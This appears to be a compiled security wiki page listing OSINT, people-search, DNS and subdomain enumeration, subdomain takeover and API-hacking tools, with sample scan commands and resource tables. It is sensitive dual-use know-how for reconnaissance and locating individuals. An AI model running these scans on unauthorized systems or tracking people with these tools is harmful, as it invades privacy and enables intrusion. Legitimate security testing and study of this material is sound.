**sigurlfind3r** is a passive reconnaissance tool, it fetches known URLs from [**AlienVault's OTX**](https://otx.alienvault.com/), [**Common Crawl**](https://commoncrawl.org/), [**URLScan**](https://urlscan.io/), [**Github**](https://github.com/) and the [**Wayback Machine**](https://archive.org/web/).

{% embed url="<https://github.com/signedsecurity/sigurlfind3r>" %}

{% embed url="<https://github.com/UndeadSec/EvilURL>" %}

{% embed url="<https://youtu.be/COyFfSlexTw>" %}

[**sherlock**](https://github.com/sherlock-project/sherlock): Hunt down social media accounts by username across social networks.

![](/files/GLjUgTlg5dbN9dztB0Eo)

{% embed url="<https://github.com/sherlock-project/sherlock>" %}

[**TheHarvester**](https://github.com/laramies/theharvester)**:** E-mails, subdomains and names Harvester - OSINT.

{% embed url="<https://github.com/laramies/theharvester>" %}

[**Usernamesearch**](https://www.idcrawl.com/username) (web) : Uncover social media profiles and real people behind a username.

{% embed url="<https://www.idcrawl.com/username>" %}

{% embed url="<https://checkusernames.com>" %}

{% embed url="<https://usersearch.org/index.php>" %}

{% embed url="<https://instantusername.com/#/>" %}

[**IntelX**](https://intelx.io/) (web): Discovering everything.

{% embed url="<https://intelx.io>" %}

[**Spiderfoot**](https://github.com/smicallef/spiderfoot): SpiderFoot automates OSINT for threat intelligence and mapping your attack surface.

![](/files/jGN9psHGtWC2h04AG9rK)

{% embed url="<https://github.com/smicallef/spiderfoot>" %}

[**Creepy**](https://github.com/ilektrojohn/creepy): A geolocation OSINT tool. Offers geolocation information gathering through social networking platforms.

![](/files/U9c2lW6JNEYZ4pZSbKMY)

[**Twint**](https://github.com/twintproject/twint)**:** An advanced Twitter scraping & OSINT tool written in Python that doesn't use Twitter's API, allowing you to scrape a user's followers, following, Tweets and more while evading most API limitations.

![](/files/bm7eWkhGqT7cYsvLuCNg)

{% embed url="<https://github.com/twintproject/twint>" %}

[**Reddit Analyzer**](https://reddit-user-analyser.netlify.app/)**:** Reddit data correlation.

![](/files/Ei2gmlupapeICdPDqi6b)

{% embed url="<https://reddit-user-analyser.netlify.app>" %}

[**Googleadvcs**](https://www.google.com/advanced_search)**:** Google advance search.

![](/files/O1zQxV0EsMlRnfjcK4NZ)

{% embed url="<https://www.google.com/advanced_search>" %}

[**Telegram OSINT**](https://github.com/ItIsMeCall911/Awesome-Telegram-OSINT)**:** Resources about Telegram OSINT.

{% embed url="<https://github.com/ItIsMeCall911/Awesome-Telegram-OSINT>" %}

[**Reverse email search**](https://tools.epieos.com/email.php): Email Lookup tool.

{% embed url="<https://tools.epieos.com/email.php>" %}

[**Reverse phone searh:** ](https://demo.phoneinfoga.crvx.fr/#/)Phone Lookup tool.

{% embed url="<https://demo.phoneinfoga.crvx.fr/#/>" %}

[**Holehe OSINT**](https://github.com/megadose/holehe/):  Email to Registered Accounts.

![](/files/oXGbEneiCfQeTH8hEVn8)

{% embed url="<https://github.com/megadose/holehe>" %}

[**Thephonebook**](https://www.thephonebook.bt.com/person/): Phone numbers.

{% embed url="<https://www.thephonebook.bt.com/person>" %}

[**`Hinter.io:`**](https://hunter.io/) Find email addreesses in secounds.

{% embed url="<https://hunter.io>" %}

[**411.com**](https://www.411.com/): Find Contact Information on yourself or anyone else.

{% embed url="<https://www.411.com>" %}

[**Fonefinder**](https://www.fonefinder.net/): Fone Finder query form.

{% embed url="<https://www.fonefinder.net>" %}

[**BuiltWith**](https://builtwith.com/)**:** BuiltWith is a website profiling tool that shows current and historical information about a website's technology usage, technology versions, and hosting.

{% embed url="<https://builtwith.com/>" %}

[**ReNgine**](https://github.com/yogeshojha/rengine)**:** reNgine is an automated reconnaissance framework used for OSINT gathering that streamlines the recon process.

![](/files/I9VhVv5B365mnDCoqpFo)

[**Mac Address Lookup**](https://www.macvendorlookup.com/)**:** Find MAC vendors.&#x20;

{% embed url="<https://www.macvendorlookup.com>" %}

## People Search

[> Truepeoplesearch](https://www.truepeoplesearch.com/)\
[> Thatsthem](https://thatsthem.com/)\
[> Whitepages](https://whitepages.com/)\
[> Spokeo](https://www.spokeo.com/)\
[> Idcrawl](https://www.idcrawl.com/)\
[> Zabasearch](https://www.zabasearch.com/)\
[> Intelius](https://www.intelius.com/)\
[> Lullar](https://com.lullar.com/)\
[> Pipl](https://pipl.com/)\
[> Peekyou](https://www.peekyou.com/)\
[> Familytreenow](https://familytreenow.com/)\
[> Beenverified](https://www.beenverified.com/)\
[> Peoplefinder](https://www.peoplefinder.com/)\
[> Unicourt](https://unicourt.com/)\
[> Jailbase](https://www.jailbase.com/)\
[> Publicrecordsdir](https://publicrecords.directory/)

## Images And Videos

[> Exifdata](https://exifdata.com/)\
[> Pimeyes](https://pimeyes.com/)\
[> Tineye](https://tineye.com/)\
[> Youtube Metadata](https://citizenevidence.amnestyusa.org/)

[**megagoofil**](https://www.kali.org/tools/metagoofil/): Scan for documents from a domain (-d kali.org) that are PDF files (-t pdf), searching 100 results (-l 100), download 25 files (-n 25), saving the downloads to a directory (-o kalipdf), and saving the output to a file (-f kalipdf.html).

```
root@kali:~# metagoofil -d kali.org -t pdf -l 100 -n 25 -o kalipdf -f kalipdf.html

******************************************************
*     /\/\   ___| |_ __ _  __ _  ___   ___  / _(_) | *
*    /    \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
*   / /\/\ \  __/ || (_| | (_| | (_) | (_) |  _| | | *
*   \/    \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
*                         |___/                      *
* Metagoofil Ver 2.2                                 *
* Christian Martorella                               *
* Edge-Security.com                                  *
* cmartorella_at_edge-security.com                   *
******************************************************
['pdf']

[-] Starting online search...

[-] Searching for pdf files, with a limit of 100
        Searching 100 results...
Results: 21 files found
Starting to download 25 of them:
```

{% embed url="<https://www.kali.org/tools/metagoofil>" %}

## Recon

[> Maltego](https://www.maltego.com/)\
[> Recon-ng](https://tools.kali.org/information-gathering/recon-ng)\
[> Theharvester](https://github.com/laramies/theharvester)

## Web Archives

[> Archive.org](https://archive.org/)\
[> Archive.is](https://archive.is/)\
[> Archivedweb](https://archivedweb.com/)\
[> Arquivo.pt](https://arquivo.pt/)

## Multi Tool :tada:

{% embed url="<https://inteltechniques.com/tools/>" %}

{% embed url="<https://docs.google.com/spreadsheets/d/1JxBbMt4JvGr--G0Pkl3jP9VDTBunR2uD3_faZXDvhxc/edit#gid=164143315>" %}

{% embed url="<https://github.com/jivoi/awesome-osint>" %}


# DNS

## Domain & Subdomain Enumeration

&#x20;[**httprobe**](https://github.com/tomnomnom/httprobe): Take a list of domains and probe for working http and https servers.

```
go get -u github.com/tomnomnom/httprobe

▶ cat recon/example/domains.txt
example.com
example.edu
example.net
▶ cat recon/example/domains.txt | httprobe
http://example.com
http://example.net
http://example.edu
https://example.com
https://example.edu
https://example.net
```

&#x20;[**domain-check-2**](https://github.com/nixcraft/domain-check-2)**:** A simple shell script to display or notify the user via email about domain status and expiry date.

```
domain-check-2 -d google.com
domain-check-2 -f domain-list.txt 
```

Output:

```
Domain                              Registrar                                      Status   Expires     Days Left
----------------------------------- ---------------------------------------------- -------- ----------- ---------
nixcraft.com                        GoDaddy.com, LLC                               Valid    10-may-2023   2022 
google.org                          MarkMonitor Inc.                               Valid    20-oct-2018   359  
google.net                          MarkMonitor Inc.                               Valid    15-mar-2018   140  
google.info                         MarkMonitor Inc.                               Valid    31-jul-2018   278  
cyberciti.biz                       GoDaddy.com, Inc.                              Valid    30-jun-2024   2439 
google.in                           MarkMonitor Inc. (R84-AFIN)                    Valid    14-Feb-2018   111  
google.co.in                        MarkMonitor Inc. (R84-AFIN)                    Valid    23-Jun-2018   240  
google.us                           MarkMonitor, Inc.                              Valid    18-apr-2018   174  
google.uk                           Markmonitor Inc.                               Valid    11-Jun-2018   228  
```

[**letItGo**](https://github.com/SecurityRiskAdvisors/letItGo): Enumerate and check domains for Azure tenants.

![](/files/74mgbF9xZzcYypZ310Jb)

[**altdns**](https://github.com/infosec-au/altdns): Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns.

```
altdns -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt
```

[**Sublist3r**](https://github.com/aboul3la/Sublist3r)**:** Sublist3r is a python tool designed to enumerate subdomains of websites using OSINT.

[**aquatone**](https://github.com/michenriksen/aquatone)**:** Aquatone is a tool for visual inspection of websites across a large number of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface.\
\
To use it on Windows OS, you shoud download this version of [**chromium**](https://www.chromium.org/getting-involved/download-chromium)**.**  Once downloaded, aquatone must be executed with full paths to take the screenshots:

```
PS C:\Users\IEUser\Desktop > cat .\ips.txt | .\aquatone.exe -chrome-path "C:\Users\IEUser\Desktop\chrome-win\chrome.exe" -out "C:\Users\IEUser\Desktop\output\"
```

[**amass**](https://github.com/OWASP/Amass): The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.

```
amass enum -d domain.org
amass intel -active -addr 192.168.x.x -p 80,443,8080" 
```

Importing Amass Results into Malteg&#x6F;**:**

```
amass viz -maltego
```

Import the CSV file with the correct Connectivity Table settings:

![](/files/XolG5SogTH6BjDFUsIWR)

[**VHostScan**](https://github.com/codingo/VHostScan):  A virtual host scanner that can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages. First presented at SecTalks BNE in September 2017 ([slidedeck](https://docs.google.com/presentation/d/1KDY7bnCpCGabJn8UpmHGSb6z_hi_WGf3ETxzykTNjWY)).

```
VHostScan -t example.com --ssl
echo -e 'a.example.com\b.example.com' | VHostScan -t localhost -w ./wordlists/wordlist.txt
cat bank.htb | VHostScan -t 10.10.10.29
```

[**virtual-host-discovery**](https://github.com/jobertabma/virtual-host-discovery)**:** This is a basic HTTP scanner that'll enumerate virtual hosts on a given IP address.&#x20;

```
ruby scan.rb --ip=127.0.0.1 --host=domain
```

[**gobuster**](https://github.com/OJ/gobuster)**:** Gobuster is a tool used to brute-force: URIs, DNS subdomains, Virtual Host names and Open AWS S3 buckets.&#x20;

```
gobuster dns -d google.com -w ~/wordlists/subdomains.txt
```

&#x20;[**aiodnsbrute**](https://github.com/blark/aiodnsbrute)**:** A Python 3.5+ tool that uses asyncio to brute force domain names asynchronously.

```
resolver.txt
8.8.8.8
8.8.4.4
1.1.1.1

sudo pip3 install aiodnsbrute
aiodnsbrute yahoo.com -w /tmp/11m_sub_wordlist.txt -o csv -t 100000 -r resolver.txt
```

![](/files/-MWzaKykUelQeE7Rbz62)

&#x20;[**Sudomy**](https://github.com/Screetsec/Sudomy)**:**  A subdomain enumeration tool to collect subdomains and analyzing domains performing advanced automated reconnaissance (framework). This tool can also be used for OSINT (Open-source intelligence) activities.

```
./sudomy -d localhost -dP -eP -rS -cF -pS -tO -gW --httpx --dnsprobe  -aI webanalyze -sS
./sudomy -d localhost --bruteforce
```

![](/files/-MWzbjoz2YqykNJN6YfU)

[**Legion**](https://github.com/GoVanguard/legion): Legion is an open source, easy-to-use, super-extensible and semi-automated network penetration testing tool that aids in discovery, reconnaissance and exploitation of information systems.

![](/files/kTi2qV2AVufyMwFlx7tR)

{% embed url="<https://github.com/GoVanguard/legion>" %}

[**red\_hawk:**](https://github.com/tuhinshubhra/red_hawk) All in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all penetration testers.

{% embed url="<https://github.com/tuhinshubhra/red_hawk>" %}

{% embed url="<https://www.youtube.com/watch?ab_channel=r3d&v=Jt9kBFiJDrE>" %}

## Subdomain Takeover

&#x20;[**subjack**](https://github.com/haccer/subjack)**:** A Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked.

```
subjack -w ~/tmp/subdomains.txt -c fingerprints.json -t 100 -timeout 30 -o results.txt -ssl
subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl
```

&#x20;[**SubOver**](https://github.com/Ice3man543/SubOver)**:** Subover is a Hostile Subdomain Takeover tool originally written in python but rewritten from scratch in Golang.

```
go get github.com/Ice3man543/SubOver
./SubOver -l subdomains.txt
go run subover.go -l ~/Downloads/subdomains -v
```

&#x20;[**tko-subs**](https://github.com/anshumanbh/tko-subs)**:** Takeover by CNAME entry.

```
tko-subs -domains ~/Downloads/subdomains.txt
```

[**massdns:** ](https://github.com/blechschmidt/massdns)MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per second using publicly available resolvers.

```
massdns -r lists/resolvers.txt -t MX /home/kali/Downloads/all_domains_from_sublister_amass.txt > /home/kali/Downloads/results_MX.txt
massdns -r lists/resolvers.txt -t CNAME /home/kali/Downloads/all_domains_from_sublister_amass.txt > /home/kali/Downloads/results_CNAME.txt

Options:
[A, AAAA, PTR, CNAME, MX]
```

&#x20;[**autoSubTakeover**](https://github.com/JordyZomer/autoSubTakeover)**:** A tool used to check if a CNAME resolves to the scope address. If the CNAME resolves to a non-scope address it might be worth checking out if subdomain takeover is possible. Also checks if the domain that a subdomain points to is expired.

[**autoSubTakeover:**](https://github.com/JordyZomer/autoSubTakeover) A tool used to check if a CNAME resolves to the scope address. If the CNAME resolves to a non-scope address it might be worth checking out if subdomain takeover is possible. Also checks if the domain that a subdomain points to is expired.

&#x20;[**puredns**](https://github.com/d3mondev/puredns):  puredns is a bash and python application that uses massdns to *accurately* perform DNS bruteforcing and mass resolving.&#x20;

![](/files/-MX2-Uq1olHl7_OD36ea)

[**NtHiM**](https://github.com/TheBinitGhimire/NtHiM)**:** Now, the Host is Mine! - Super Fast Sub-domain Takeover Detection!

```
NtHiM -t https://example.example.com
NtHiM -f hostnames.txt
```

![](/files/-MXqsPUty5JY1NOHr7Zs)

**Interact.sh** - an alternative to burp collaborator ;)

{% embed url="<https://interact.projectdiscovery.io/#/>" %}

[**shredos.x86\_64**](https://github.com/PartialVolume/shredos.x86_64)**:** Shredos 64 bit for all Intel 64 bit processors as well as processors from AMD and other vendors which make compatible 64 bit chips. ShredOS - Secure disk erasure.

{% embed url="<https://github.com/PartialVolume/shredos.x86_64>" %}


# WEB

{% content-ref url="/pages/-MX7sFrFyWxOTXEaC7eK" %}
[API and WS Hacking](/tools/web-and-and-dns/api-and-ws-hacking)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7scDKUYnkvDA-V7x5" %}
[Web Discovery](/tools/web-and-and-dns/web-discovery)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7sZxxaPygfPy1tvrj" %}
[Web Fuzzing](/tools/web-and-and-dns/web-fuzzing)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7sXMv-syIouDRFX5H" %}
[Path Traversal](/tools/web-and-and-dns/path-traversal)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7sPgyZLWxX8Y4MoYY" %}
[GraphQL](/tools/web-and-and-dns/graphql)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7sm1Dnsbs6802U4Ir" %}
[JWT](/tools/web-and-and-dns/jwt)
{% endcontent-ref %}


# API and WS Hacking

## API Hacking

&#x20;[**MindAPI**](https://github.com/dsopas/MindAPI)**:** Bringing order to API hacking caos!

{% tabs %}
{% tab title="Flow" %}
![](/files/-MWzhf3dXKUcJtV8Tfyc)
{% endtab %}
{% endtabs %}

[**CookieMindMap**](https://www.xmind.net/m/2FwJ7D/#)**:** Fuzz cookies and proceed!

{% embed url="<https://www.xmind.net/m/2FwJ7D/#>" %}

## Awesome API&#x20;

**A collection of awesome API Security tools and resources.**

{% embed url="<https://github.com/arainho/awesome-api-security?tab=readme-ov-file#enumeration-scanning-and-exploration-steps>" %}

### API Keys: Find and validate

| Name                                                                                                                   | Description                                                                                                                                                             |
| ---------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [API Guesser](https://api-guesser.netlify.app/)                                                                        | Simple website to guess API Key / OAuth Token by Muhammad Daffa                                                                                                         |
| [API Key Leaks: Tools and exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/API%20Key%20Leaks) | An API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares. |
| [Key-Checker](https://github.com/daffainfo/Key-Checker)                                                                | Go scripts for checking API key / access token validity.                                                                                                                |
| [Keyhacks](https://github.com/streaak/keyhacks)                                                                        | Keyhacks is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.                                |
| [Private key usage verification](https://github.com/trufflesecurity/driftwood)                                         | Driftwood is a tool that can enable you to lookup whether a private key is used for things like TLS or as a GitHub SSH key for a user.                                  |
| [Mantra](https://github.com/MrEmpy/mantra)                                                                             | A tool used to hunt down API key leaks in JS files and pages                                                                                                            |

### Books

| Author                           | Publisher                    | Name                                                                                                                          | Description                                                                                                          |
| -------------------------------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| Colin Domoney                    | Packt Publishing             | [Defending APIs](https://www.packtpub.com/product/defending-apis/9781804617120)                                               | Focused on helping developers produce secure APIs                                                                    |
| Confidence Staveley              | Packt Publishing             | [API Security for White Hat Hackers](https://www.packtpub.com/en-us/product/api-security-for-white-hat-hackers-9781800560802) | Uncover offensive defense strategies and get up to speed with secure API implementation                              |
| Corey Ball                       | No Starch Press              | [Hacking APIs](https://nostarch.com/hacking-apis)                                                                             | Breaking Web Application Programming Interfaces.                                                                     |
| Dolev Farhi and Nick Aleks       | No Starch Press              | [Black Hat GraphQL](https://nostarch.com/black-hat-graphql)                                                                   | Black Hat GraphQL.                                                                                                   |
| Emily Freeman                    | Data Theorem Special Edition | [API Security for dummies](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWJ9kN)                                  | This book is a high-level introduction to the key concepts of API security and DevSecOps.                            |
| Justing Richer and Antonio Sanso | Manning                      | [Understanding API Security](https://livebook.manning.com/book/understanding-api-security/introduction/)                      | Several chapters from several Manning books that give you some context for how API security works in the real world. |
| Neil Madden                      | Manning                      | [API Security in Action](https://www.manning.com/books/api-security-in-action)                                                | API Security in Action teaches you how to create secure APIs for any situation.                                      |

### Cheatsheets

| Name                                                                                                                         | Description                                        |
| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------- |
| [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)                               | GraphQL - OWASP Cheat Sheet Series                 |
| [JSON Web Token Security Cheat Sheet](https://assets.pentesterlab.com/jwt_security_cheatsheet/jwt_security_cheatsheet.pdf)   | PentesterLab - JSON Web Token Security Cheat Sheet |
| [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)     | Injection - OWASP Cheat Sheet Series               |
| [Microservices Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Microservices_Security_Cheat_Sheet.html) | Microservices - OWASP Security Cheat Sheet         |
| [OWASP API Security Top 10](https://apisecurity.io/encyclopedia/content/owasp-api-security-top-10-cheat-sheet-a4.pdf)        | 42Crunch - OWASP API Security Top 10               |
| [REST Assessment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html)               | REST Assessment - OWASP Cheat Sheet Series         |
| [REST Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html)                   | REST Security - OWASP Cheat Sheet Series           |

### Checklist

| Author              | Name                                                                                                                                                  | Description                                                                                               |
| ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------- |
| HolyBugx            | [another API Security checklist](https://github.com/HolyBugx/HolyTips/blob/main/Checklist/API%20Security.pdf)                                         | HolyTips: API security checklist                                                                          |
| APIOps Cycles       | [API audit checklist](https://www.apiopscycles.com/api-audit-checklist)                                                                               | API Audit checklist.                                                                                      |
| Shieldfy            | [API-Security-Checklist](https://github.com/shieldfy/API-Security-Checklist)                                                                          | Checklist of the most important security countermeasures when designing, testing, and releasing your API. |
| API Mike, @api\_sec | [API penetration testing checklist](https://apimike.com/api-penetration-testing-checklist)                                                            | Common steps to include in any API penetration testing process.                                           |
| Latish Danawale     | [API Testing Checklist](https://hackanythingfor.blogspot.com/2020/07/api-testing-checklist.html)                                                      | API Testing Checklist.                                                                                    |
| Inon Shkedy         | [31 days of API Security Tips](https://github.com/smodnix/31-days-of-API-Security-Tips)                                                               | This challenge is Inon Shkedy's 31 days API Security Tips.                                                |
| Binary Brotherhood  | [OAuth2: Security checklist](https://web.archive.org/web/20210607123429/https://www.binarybrotherhood.io/oauth2_threat_model.html)                    | OAuth 2.0 Threat Model Pentesting Checklist                                                               |
| Apollo              | [GraphQL API — GraphQL Security Checklist](https://www.apollographql.com/blog/graphql/security/9-ways-to-secure-your-graphql-api-security-checklist/) | 9 Ways To Secure your GraphQL API — GraphQL Security Checklist                                            |
| LeapGraph           | [GraphQL API - The Complete Vulnerability Checklist](https://web.archive.org/web/20220701140017/https://leapgraph.com/graphql-api-security/)          | How to Secure a GraphQL API - The Complete Vulnerability Checklist                                        |
| Lokesh Gupta        | [REST API Security Essentials](https://restfulapi.net/security-essentials/)                                                                           | REST API Tutorial blog entry.                                                                             |

### Conferences

| Name                               | Description                                                                                                                            |
| ---------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| [APIsecure](https://apisecure.co/) | The world's first conference dedicated to API threat management; bringing together breakers, defenders, and solutions in API security. |

### Deliberately vulnerable APIs

| Name                                                                                                  | Author                                                   | Description                                                                                                                                                                |
| ----------------------------------------------------------------------------------------------------- | -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [APISandbox](https://github.com/API-Security/APISandbox)                                              | [APISecurity Community](https://github.com/API-Security) | Pre-Built Vulnerable Multiple API Scenarios Environments Based on Docker-Compose.                                                                                          |
| [Bookstore](https://tryhackme.com/room/bookstoreoc)                                                   | [sidchn](https://tryhackme.com/p/sidchn)                 | TryHackMe room - A Beginner level box with basic web enumeration and REST API Fuzzing.                                                                                     |
| [crAPI](https://github.com/OWASP/crAPI)                                                               | [OWASP](https://github.com/OWASP)                        | completely ridiculous API (crAPI)                                                                                                                                          |
| [Damn Vulnerable GraphQL Application](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application)  | [dolevf](https://github.com/dolevf/)                     | Damn Vulnerable GraphQL Application is intentionally vulnerable implementation of Facebook's GraphQL technology to learn and practice GraphQL Security.                    |
| [Damn Vulnerable Micro Services](https://github.com/ne0z/DamnVulnerableMicroServices)                 | [ne0z](https://github.com/ne0z)                          | This is a vulnerable microservice written in many languages to demonstrating OWASP API Top Security Risk (under development).                                              |
| [Damn Vulnerable RESTaurant API Game](https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game) | [theowni](https://github.com/theowni)                    | Damn Vulnerable Restaurant is an intentionally vulnerable Web API game for learning and training purposes dedicated to developers, ethical hackers and security engineers. |
| [Damn Vulnerable Web Services](https://github.com/snoopysecurity/dvws-node)                           | [snoopysecurity](https://github.com/snoopysecurity)      | Damn Vulnerable Web Services is a vulnerable web service/API/application that we can use to learn webservices/API vulnerabilities.                                         |
| [Generic-University](https://github.com/InsiderPhD/Generic-University)                                | [InsiderPhD](https://github.com/InsiderPhD)              | Vulnerable API with Laravel App                                                                                                                                            |
| [node-api-goat](https://github.com/layro01/node-api-goat)                                             | [layro01](https://github.com/layro01)                    | A simple Express.JS REST API application that exposes endpoints with code that contains vulnerabilities.                                                                   |
| [Pixi](https://github.com/DevSlop/Pixi)                                                               | [DevSlop](https://github.com/DevSlop)                    | The Pixi module is a MEAN Stack web app with wildly insecure APIs!                                                                                                         |
| [poc-graphql](https://github.com/righettod/poc-graphql)                                               | [righettod](https://github.com/righettod)                | Research on GraphQL from an AppSec point of view.                                                                                                                          |
| [REST API Goat](https://github.com/optiv/rest-api-goat)                                               | [optiv](https://github.com/optiv)                        | This is a "Goat" project so you can get familiar with REST API testing.                                                                                                    |
| [VAmPI](https://github.com/erev0s/VAmPI)                                                              | [erev0s](https://github.com/erev0s)                      | Vulnerable REST API with OWASP top 10 vulnerabilities for APIs                                                                                                             |
| [vAPI](https://github.com/roottusk/vapi)                                                              | [roottusk](https://github.com/roottusk)                  | vAPI is Vulnerable Adversely Programmed Interface which is Self-Hostable API that mimics OWASP API Top 10 scenarios through Exercises.                                     |
| [vulnapi](https://github.com/tkisason/vulnapi)                                                        | [tkisason](https://github.com/tkisason)                  | Intentionaly very vulnerable API with bonus bad coding practices.                                                                                                          |
| [vulnerable-graphql-api](https://github.com/CarveSystems/vulnerable-graphql-api)                      | [CarveSystems](https://github.com/CarveSystems)          | A very vulnerable implementation of a GraphQL API.                                                                                                                         |
| [Websheep](https://github.com/marmicode/websheep)                                                     | [marmicode](https://github.com/marmicode)                | Websheep is an app based on a willingly vulnerable ReSTful APIs.                                                                                                           |
| [VulnerableApp4APISecurity](https://github.com/Erdemstar/VulnerableApp4APISecurity)                   | [Erdemstar](https://github.com/Erdemstar/)               | This repository was developed using .NET 7.0 API technology based on findings listed in the OWASP 2019 API Security Top 10.                                                |

### Design, Architecture, Development

| Name                                                                                                                                                   | Description                                                                                                                                                          |
| ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [The API Specification Toolbox](http://api.specificationtoolbox.com/)                                                                                  | This Toolbox goal is to try and map out all of the different API specifications in use, as well as the services, tooling, extensions, and other supporting elements. |
| [Understanding gRPC, OpenAPI and REST](https://cloud.google.com/blog/products/api-management/understanding-grpc-openapi-and-rest-and-when-to-use-them) | gRPC vs REST: Understanding gRPC, OpenAPI and REST and when to use them in API design                                                                                |
| [API security design best practices](https://habr.com/en/post/595075/)                                                                                 | API security design best practices for enterprise and public cloud.                                                                                                  |
| [REST API Design Guide](https://www.apiopscycles.com/resources/rest-api-design-guide)                                                                  | This design guide or style guide contains best practices suitable for most REST APIs.                                                                                |
| [How to design a REST API](https://blog.octo.com/en/design-a-rest-api)                                                                                 | How to design a REST API? - Full guide tackling security, pagination, filtering, versioning, partial answers, CORS, etc.                                             |
| [Awesome REST](https://github.com/marmelab/awesome-rest)                                                                                               | A collaborative list of great resources about RESTful API architecture, development, test, and performance. Feel free to contribute to this ongoing list.            |
| [Collect API Requirements](https://www.apiopscycles.com/collecting-requirements)                                                                       | Collecting Requirements for your API with APIOps Cycles.                                                                                                             |
| [API Audit](https://www.apiopscycles.com/method/api-audit)                                                                                             | API Audit is a method to ensure APIs are matching the API Design guidelines. It also helps check for usability, security and API management platform compatibility.  |

### Encyclopedias, Projects, Wikis and GitBooks

| Author          | Name                                                                                                   | Description                                                                                               |
| --------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------- |
| @six2dez        | [APIs Pentest Book](https://pentestbook.six2dez.com/enumeration/webservices/apis)                      | APIs Pentest Book                                                                                         |
| @csbygb         | [API Pentest tips](https://csbygb.gitbook.io/pentips/web-pentesting/api)                               | CSbyGB's Pentips                                                                                          |
| cyprosecurity   | [API Security Empire](https://github.com/cyprosecurity/API-SecurityEmpire)                             | The API Security Empire Project aims to present unique attack & defense methods in the API Security field |
| @APIsecurity.io | [API Security Encyclopedia](https://apisecurity.io/encyclopedia/content/api-security-encyclopedia.htm) | API Security Encyclopedia                                                                                 |
| @carlospolop    | [Web API Pentesting](https://book.hacktricks.xyz/pentesting/pentesting-web/web-api-pentesting)         | HackTricks - Web API Pentesting                                                                           |
| @carlospolop    | [GraphQL](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql)              | HackTricks - GraphQL                                                                                      |

### Enumeration, Scanning and exploration steps

| Name                                                                                       | Description                        |
| ------------------------------------------------------------------------------------------ | ---------------------------------- |
| [Burp API enumeration](https://portswigger.net/support/using-burp-to-enumerate-a-rest-api) | Using Burp to Enumerate a REST API |
| [ZAP scanning](https://www.zaproxy.org/blog/2017-06-19-scanning-apis-with-zap/)            | Scanning APIs with ZAP             |
| [ZAP exploring](https://www.zaproxy.org/blog/2017-04-03-exploring-apis-with-zap/)          | Exploring APIs with ZAP            |
| [w3af scanning](http://docs.w3af.org/en/latest/scan-rest-apis.html)                        | Scan REST APIs with w3af           |

### Firewalls

| Name                                                                 | Description                                                                                    |
| -------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- |
| [Wallarm Free API Firewall](https://github.com/wallarm/api-firewall) | Fast and light-weight API proxy firewall for request and response validation by OpenAPI specs. |

### Fuzzing, SecLists, Wordlists

| Name                                                                                                                                   | Description                                                                                                                             |
| -------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- |
| [API names wordlist](https://github.com/chrislockard/api_wordlist)                                                                     | A wordlist of API names for web application assessments                                                                                 |
| [API HTTP requests methods](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/http-request-methods.txt)                   | HTTP requests methods wordlist by @danielmiessler                                                                                       |
| [API Routes Wordlists](https://github.com/assetnote/wordlists/blob/master/data/automated.json)                                         | API Routes - Automated Wordlists provided by Assetnote                                                                                  |
| [Common API endpoints](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt) | Wordlist for common API endpoints.                                                                                                      |
| [Filenames by fuzz.txt](https://github.com/Bo0oM/fuzz.txt)                                                                             | Potentially dangerous files                                                                                                             |
| [Fuzzing APIs](https://www.fuzzingbook.org/html/APIFuzzer.html)                                                                        | Fuzzing APIs chapter from "The Fuzzing Book".                                                                                           |
| [GraphQL SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/graphql.txt)                            | It's a GraphQL list used during security assessments, collected in one place.                                                           |
